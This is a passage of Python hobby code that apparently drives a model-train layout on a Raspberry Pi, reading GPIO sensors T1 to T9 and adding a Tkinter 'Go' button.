top.update()\n\n if locator_input == \"T9\":\n T9.location()\n top.update()\n break\n\n elif GPIO.input(locator[\"T1\"]) == GPIO.LOW:\n print(\"T1\")\n T1.detection()\n top.update()\n\n elif GPIO.input(locator[\"T2\"]) == GPIO.LOW:\n print(\"T2\")\n T2.detection()\n top.update()\n\n elif GPIO.input(locator[\"T3\"]) == GPIO.LOW:\n print(\"T3\")\n T3.detection()\n top.update()\n\n elif GPIO.input(locator[\"T4\"]) == GPIO.LOW:\n print(\"T4\")\n T4.detection()\n top.update()\n\n elif GPIO.input(locator[\"T5\"]) == GPIO.LOW:\n print(\"T5\")\n T5.detection()\n top.update()\n\n elif GPIO.input(locator[\"T6\"]) == GPIO.LOW:\n print(\"T6\")\n T6.detection()\n top.update()\n\n elif GPIO.input(locator[\"T7\"]) == GPIO.LOW:\n print(\"T7\")\n T7.detection()\n top.update()\n\n elif GPIO.input(locator[\"T8\"]) == GPIO.LOW:\n print(\"T8\")\n T8.detection()\n top.update()\n\n elif GPIO.input(locator[\"T9\"]) == GPIO.LOW:\n print(\"T9\")\n T9.detection()\n top.update()\n\n\n# Defines the button that tells the program to move the train. It calls the function \"go\".\n# https://stackoverflow.com/questions/3704568/tkinter-button-command-activates-upon-running-program\n# https://www.geeksforgeeks.org/python-tkinter-entry-widget/\nbtn = tkinter.Button(top, text='Go', width=4, height=1, bd='10', command=lambda: go())\nbtn.place(x=width_window/2+380, y=height_window/2+185)\ntop.bind(\"